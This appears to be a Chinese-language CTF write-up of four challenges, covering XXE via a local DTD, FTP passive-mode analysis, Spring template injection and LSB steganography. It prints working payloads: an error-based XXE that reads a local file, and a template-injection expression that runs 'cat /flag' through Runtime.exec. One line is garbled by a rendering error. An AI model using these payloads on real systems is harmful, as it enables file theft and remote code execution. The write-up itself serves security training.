LookAround
找到⼀个类似的题:从⼀道CTF题看如何利⽤本地 DTD⽂件实现XXE攻击/
根据⽹⻚回报应该是xxe本地DTD直接博客payload直接打
参考:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discoveryfor-xxe-exploitation?from=timeline
Payload:
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd; ]>
<message></message>
Easy Realworld Challenge
这道题考的是FTP的PASV传输模式 查看电脑的log viewer发现⼤量⼈⽤telnet连接172.18.0.3:21 并在他们中发现了,想要使⽤ftp传输。说明电脑上存在ftp服务。
参考资料:http://xcd.blog.techweb.com.cn/archives/275.html https://blog.csdn.net/bestone0213/article/details/41892921
数据端⼝号34x256+26=8910
最终得到flag :flag{9d521975ac1a796fdfa207d65affe 3e8f2bc9d5ae4f973cc89087ba29bce989}
render
根据那个⽹⻚头图⽚猜应该是存在spring模版注⼊ ⽹上参考了很多cve和el表达式⼤致语法是[[KaTeX parse error: Expected '}', got 'EOF' at end of input: …⼊{"content":"[[{T(java.lang.Runtime).getRuntime().exec(‘cat /flag’)}]]"} 发现报错了,估计是没有获取他的输⼊输出
然后想到使⽤BufferedReader读取缓冲区,在读取⽂本⽂件时,会先尽量从⽂件中读⼊字符 数据并放满缓冲区,⽽之后若使⽤readLine()⽅法,InputStreamReader 是字节流通向字符 流的桥梁,它将字节流转换为字符流. java字符流参考链接:https://www.cnblogs.com/zhaoyanjun/p/6376996.html 最终构造Payload:
{"content":"[[${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('cat /flag').getInputStream())).readLine()}]]"}
2019
发现图⽚是lsb隐写,于是使⽤stegsolve。
发现base64,解码。
发现base85,解码
得到flag:flag{~h!%3W-9jKB6(fG}